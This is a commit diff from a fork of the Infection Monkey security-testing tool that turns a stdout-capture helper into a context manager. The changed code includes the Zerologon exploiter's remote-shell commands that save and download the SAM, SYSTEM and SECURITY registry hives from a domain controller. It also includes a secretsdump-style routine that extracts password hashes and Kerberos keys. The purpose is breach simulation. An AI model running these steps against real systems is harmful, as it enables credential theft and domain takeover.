forked from p15670423/monkey
Use __enter__() and __exit__() for StdoutCapture
This commit is contained in:
parent
e0ae8381ba
commit
6c9ce028e0
|
@ -303,33 +303,32 @@ class ZerologonExploiter(HostExploiter):
|
|||
|
||||
remote_shell = wmiexec.get_remote_shell()
|
||||
if remote_shell:
|
||||
output_captor = StdoutCapture()
|
||||
output_captor.capture_stdout_output()
|
||||
try:
|
||||
# Save HKLM keys on victim.
|
||||
remote_shell.onecmd('reg save HKLM\\SYSTEM system.save && ' +
|
||||
'reg save HKLM\\SAM sam.save && ' +
|
||||
'reg save HKLM\\SECURITY security.save')
|
||||
with StdoutCapture() as output_captor:
|
||||
try:
|
||||
# Save HKLM keys on victim.
|
||||
remote_shell.onecmd('reg save HKLM\\SYSTEM system.save && ' +
|
||||
'reg save HKLM\\SAM sam.save && ' +
|
||||
'reg save HKLM\\SECURITY security.save')
|
||||
|
||||
# Get HKLM keys locally (can't run these together because it needs to call do_get()).
|
||||
remote_shell.onecmd('get system.save')
|
||||
remote_shell.onecmd('get sam.save')
|
||||
remote_shell.onecmd('get security.save')
|
||||
# Get HKLM keys locally (can't run these together because it needs to call do_get()).
|
||||
remote_shell.onecmd('get system.save')
|
||||
remote_shell.onecmd('get sam.save')
|
||||
remote_shell.onecmd('get security.save')
|
||||
|
||||
# Delete saved keys on victim.
|
||||
remote_shell.onecmd(
|
||||
'del /f system.save sam.save security.save')
|
||||
# Delete saved keys on victim.
|
||||
remote_shell.onecmd(
|
||||
'del /f system.save sam.save security.save')
|
||||
|
||||
wmiexec.close()
|
||||
wmiexec.close()
|
||||
|
||||
return True
|
||||
return True
|
||||
|
||||
except Exception as e:
|
||||
LOG.info(f"Exception occured: {str(e)}")
|
||||
except Exception as e:
|
||||
LOG.info(f"Exception occured: {str(e)}")
|
||||
|
||||
finally:
|
||||
info = output_captor.get_captured_stdout_output()
|
||||
LOG.debug(f"Getting victim HKLM keys via remote shell: {info}")
|
||||
finally:
|
||||
info = output_captor.get_captured_stdout_output()
|
||||
LOG.debug(f"Getting victim HKLM keys via remote shell: {info}")
|
||||
|
||||
else:
|
||||
raise Exception("Could not start remote shell on DC.")
|
||||
|
|
|
@ -98,131 +98,129 @@ class DumpSecrets:
|
|||
self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
|
||||
|
||||
def dump(self):
|
||||
output_captor = StdoutCapture()
|
||||
output_captor.capture_stdout_output()
|
||||
with StdoutCapture() as output_captor:
|
||||
dumped_secrets = ''
|
||||
|
||||
dumped_secrets = ''
|
||||
try:
|
||||
if self.__remote_name.upper() == 'LOCAL' and self.__username == '':
|
||||
self.__is_remote = False
|
||||
self.__use_VSS_method = True
|
||||
if self.__system_hive:
|
||||
local_operations = LocalOperations(self.__system_hive)
|
||||
bootkey = local_operations.getBootKey()
|
||||
if self.__ntds_file is not None:
|
||||
# Let's grab target's configuration about LM Hashes storage.
|
||||
self.__no_lmhash = local_operations.checkNoLMHashPolicy()
|
||||
else:
|
||||
import binascii
|
||||
bootkey = binascii.unhexlify(self.__bootkey)
|
||||
|
||||
try:
|
||||
if self.__remote_name.upper() == 'LOCAL' and self.__username == '':
|
||||
self.__is_remote = False
|
||||
self.__use_VSS_method = True
|
||||
if self.__system_hive:
|
||||
local_operations = LocalOperations(self.__system_hive)
|
||||
bootkey = local_operations.getBootKey()
|
||||
if self.__ntds_file is not None:
|
||||
# Let's grab target's configuration about LM Hashes storage.
|
||||
self.__no_lmhash = local_operations.checkNoLMHashPolicy()
|
||||
else:
|
||||
import binascii
|
||||
bootkey = binascii.unhexlify(self.__bootkey)
|
||||
|
||||
else:
|
||||
self.__is_remote = True
|
||||
bootkey = None
|
||||
try:
|
||||
self.__is_remote = True
|
||||
bootkey = None
|
||||
try:
|
||||
self.connect()
|
||||
try:
|
||||
self.connect()
|
||||
except Exception as e:
|
||||
if os.getenv('KRB5CCNAME') is not None and self.__do_kerberos is True:
|
||||
# SMBConnection failed. That might be because there was no way to log into the
|
||||
# target system. We just have a last resort. Hope we have tickets cached and that they
|
||||
# will work
|
||||
LOG.debug(
|
||||
'SMBConnection didn\'t work, hoping Kerberos will help (%s)' % str(e))
|
||||
else:
|
||||
raise
|
||||
|
||||
self.__remote_ops = RemoteOperations(
|
||||
self.__smb_connection, self.__do_kerberos, self.__kdc_host)
|
||||
self.__remote_ops.setExecMethod(self.__options.exec_method)
|
||||
if self.__just_DC is False and self.__just_DC_NTLM is False or self.__use_VSS_method is True:
|
||||
self.__remote_ops.enableRegistry()
|
||||
bootkey = self.__remote_ops.getBootKey()
|
||||
# Let's check whether target system stores LM Hashes.
|
||||
self.__no_lmhash = self.__remote_ops.checkNoLMHashPolicy()
|
||||
except Exception as e:
|
||||
if os.getenv('KRB5CCNAME') is not None and self.__do_kerberos is True:
|
||||
# SMBConnection failed. That might be because there was no way to log into the
|
||||
# target system. We just have a last resort. Hope we have tickets cached and that they
|
||||
# will work
|
||||
LOG.debug(
|
||||
'SMBConnection didn\'t work, hoping Kerberos will help (%s)' % str(e))
|
||||
self.__can_process_SAM_LSA = False
|
||||
if str(e).find('STATUS_USER_SESSION_DELETED') and os.getenv('KRB5CCNAME') is not None \
|
||||
and self.__do_kerberos is True:
|
||||
# Giving some hints here when SPN target name validation is set to something different to Off.
|
||||
# This will prevent establishing SMB connections using TGS for SPNs different to cifs/.
|
||||
LOG.error('Policy SPN target name validation might be restricting full DRSUAPI dump.' +
|
||||
'Try -just-dc-user')
|
||||
else:
|
||||
raise
|
||||
LOG.error('RemoteOperations failed: %s' % str(e))
|
||||
|
||||
self.__remote_ops = RemoteOperations(
|
||||
self.__smb_connection, self.__do_kerberos, self.__kdc_host)
|
||||
self.__remote_ops.setExecMethod(self.__options.exec_method)
|
||||
if self.__just_DC is False and self.__just_DC_NTLM is False or self.__use_VSS_method is True:
|
||||
self.__remote_ops.enableRegistry()
|
||||
bootkey = self.__remote_ops.getBootKey()
|
||||
# Let's check whether target system stores LM Hashes.
|
||||
self.__no_lmhash = self.__remote_ops.checkNoLMHashPolicy()
|
||||
except Exception as e:
|
||||
self.__can_process_SAM_LSA = False
|
||||
if str(e).find('STATUS_USER_SESSION_DELETED') and os.getenv('KRB5CCNAME') is not None \
|
||||
and self.__do_kerberos is True:
|
||||
# Giving some hints here when SPN target name validation is set to something different to Off.
|
||||
# This will prevent establishing SMB connections using TGS for SPNs different to cifs/.
|
||||
LOG.error('Policy SPN target name validation might be restricting full DRSUAPI dump.' +
|
||||
'Try -just-dc-user')
|
||||
# If RemoteOperations succeeded, then we can extract SAM and LSA.
|
||||
if self.__just_DC is False and self.__just_DC_NTLM is False and self.__can_process_SAM_LSA:
|
||||
try:
|
||||
if self.__is_remote is True:
|
||||
SAM_file_name = self.__remote_ops.saveSAM()
|
||||
else:
|
||||
SAM_file_name = self.__sam_hive
|
||||
|
||||
self.__SAM_hashes = SAMHashes(
|
||||
SAM_file_name, bootkey, isRemote=self.__is_remote)
|
||||
self.__SAM_hashes.dump()
|
||||
except Exception as e:
|
||||
LOG.error('SAM hashes extraction failed: %s' % str(e))
|
||||
|
||||
try:
|
||||
if self.__is_remote is True:
|
||||
SECURITY_file_name = self.__remote_ops.saveSECURITY()
|
||||
else:
|
||||
SECURITY_file_name = self.__security_hive
|
||||
|
||||
self.__LSA_secrets = LSASecrets(SECURITY_file_name, bootkey, self.__remote_ops,
|
||||
isRemote=self.__is_remote)
|
||||
self.__LSA_secrets.dumpCachedHashes()
|
||||
self.__LSA_secrets.dumpSecrets()
|
||||
except Exception as e:
|
||||
LOG.debug(traceback.print_exc())
|
||||
LOG.error('LSA hashes extraction failed: %s' % str(e))
|
||||
|
||||
# NTDS Extraction we can try regardless of RemoteOperations failing. It might still work.
|
||||
if self.__is_remote is True:
|
||||
if self.__use_VSS_method and self.__remote_ops is not None:
|
||||
NTDS_file_name = self.__remote_ops.saveNTDS()
|
||||
else:
|
||||
LOG.error('RemoteOperations failed: %s' % str(e))
|
||||
NTDS_file_name = None
|
||||
else:
|
||||
NTDS_file_name = self.__ntds_file
|
||||
|
||||
# If RemoteOperations succeeded, then we can extract SAM and LSA.
|
||||
if self.__just_DC is False and self.__just_DC_NTLM is False and self.__can_process_SAM_LSA:
|
||||
self.__NTDS_hashes = NTDSHashes(NTDS_file_name, bootkey, isRemote=self.__is_remote,
|
||||
noLMHash=self.__no_lmhash, remoteOps=self.__remote_ops,
|
||||
useVSSMethod=self.__use_VSS_method, justNTLM=self.__just_DC_NTLM,
|
||||
)
|
||||
try:
|
||||
if self.__is_remote is True:
|
||||
SAM_file_name = self.__remote_ops.saveSAM()
|
||||
else:
|
||||
SAM_file_name = self.__sam_hive
|
||||
|
||||
self.__SAM_hashes = SAMHashes(
|
||||
SAM_file_name, bootkey, isRemote=self.__is_remote)
|
||||
self.__SAM_hashes.dump()
|
||||
except Exception as e:
|
||||
LOG.error('SAM hashes extraction failed: %s' % str(e))
|
||||
|
||||
try:
|
||||
if self.__is_remote is True:
|
||||
SECURITY_file_name = self.__remote_ops.saveSECURITY()
|
||||
else:
|
||||
SECURITY_file_name = self.__security_hive
|
||||
|
||||
self.__LSA_secrets = LSASecrets(SECURITY_file_name, bootkey, self.__remote_ops,
|
||||
isRemote=self.__is_remote)
|
||||
self.__LSA_secrets.dumpCachedHashes()
|
||||
self.__LSA_secrets.dumpSecrets()
|
||||
self.__NTDS_hashes.dump()
|
||||
except Exception as e:
|
||||
LOG.debug(traceback.print_exc())
|
||||
LOG.error('LSA hashes extraction failed: %s' % str(e))
|
||||
|
||||
# NTDS Extraction we can try regardless of RemoteOperations failing. It might still work.
|
||||
if self.__is_remote is True:
|
||||
if self.__use_VSS_method and self.__remote_ops is not None:
|
||||
NTDS_file_name = self.__remote_ops.saveNTDS()
|
||||
else:
|
||||
NTDS_file_name = None
|
||||
else:
|
||||
NTDS_file_name = self.__ntds_file
|
||||
|
||||
self.__NTDS_hashes = NTDSHashes(NTDS_file_name, bootkey, isRemote=self.__is_remote,
|
||||
noLMHash=self.__no_lmhash, remoteOps=self.__remote_ops,
|
||||
useVSSMethod=self.__use_VSS_method, justNTLM=self.__just_DC_NTLM,
|
||||
)
|
||||
try:
|
||||
self.__NTDS_hashes.dump()
|
||||
except Exception as e:
|
||||
LOG.debug(traceback.print_exc())
|
||||
if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0:
|
||||
# We don't store the resume file if this error happened, since this error is related to lack
|
||||
# of enough privileges to access DRSUAPI.
|
||||
resume_file = self.__NTDS_hashes.getResumeSessionFile()
|
||||
if resume_file is not None:
|
||||
os.unlink(resume_file)
|
||||
LOG.error(e)
|
||||
if self.__use_VSS_method is False:
|
||||
LOG.error(
|
||||
'Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter')
|
||||
self.cleanup()
|
||||
except (Exception, KeyboardInterrupt) as e:
|
||||
LOG.debug(traceback.print_exc())
|
||||
LOG.error(e)
|
||||
if self.__NTDS_hashes is not None:
|
||||
if isinstance(e, KeyboardInterrupt):
|
||||
resume_file = self.__NTDS_hashes.getResumeSessionFile()
|
||||
if resume_file is not None:
|
||||
os.unlink(resume_file)
|
||||
try:
|
||||
if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0:
|
||||
# We don't store the resume file if this error happened, since this error is related to lack
|
||||
# of enough privileges to access DRSUAPI.
|
||||
resume_file = self.__NTDS_hashes.getResumeSessionFile()
|
||||
if resume_file is not None:
|
||||
os.unlink(resume_file)
|
||||
LOG.error(e)
|
||||
if self.__use_VSS_method is False:
|
||||
LOG.error(
|
||||
'Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter')
|
||||
self.cleanup()
|
||||
except Exception:
|
||||
pass
|
||||
finally:
|
||||
dumped_secrets = output_captor.get_captured_stdout_output() # includes hashes and kerberos keys
|
||||
return dumped_secrets
|
||||
except (Exception, KeyboardInterrupt) as e:
|
||||
LOG.debug(traceback.print_exc())
|
||||
LOG.error(e)
|
||||
if self.__NTDS_hashes is not None:
|
||||
if isinstance(e, KeyboardInterrupt):
|
||||
resume_file = self.__NTDS_hashes.getResumeSessionFile()
|
||||
if resume_file is not None:
|
||||
os.unlink(resume_file)
|
||||
try:
|
||||
self.cleanup()
|
||||
except Exception:
|
||||
pass
|
||||
finally:
|
||||
dumped_secrets = output_captor.get_captured_stdout_output() # includes hashes and kerberos keys
|
||||
return dumped_secrets
|
||||
|
||||
def cleanup(self):
|
||||
LOG.debug('Cleaning up...')
|
||||
|
|
|
@ -3,20 +3,16 @@ import sys
|
|||
|
||||
|
||||
class StdoutCapture:
|
||||
def __init__(self):
|
||||
_orig_stdout = None
|
||||
_new_stdout = None
|
||||
|
||||
def capture_stdout_output(self) -> None:
|
||||
def __enter__(self) -> None:
|
||||
self._orig_stdout = sys.stdout
|
||||
self._new_stdout = io.StringIO()
|
||||
sys.stdout = self._new_stdout
|
||||
return self
|
||||
|
||||
def get_captured_stdout_output(self) -> str:
|
||||
self._reset_stdout_to_original()
|
||||
self._new_stdout.seek(0)
|
||||
info = self._new_stdout.read()
|
||||
return info
|
||||
output = self._new_stdout.read()
|
||||
return output
|
||||
|
||||
def _reset_stdout_to_original(self) -> None:
|
||||
def __exit__(self, _, __, ___) -> None:
|
||||
sys.stdout = self._orig_stdout
|
||||
|
|
Loading…
Reference in New Issue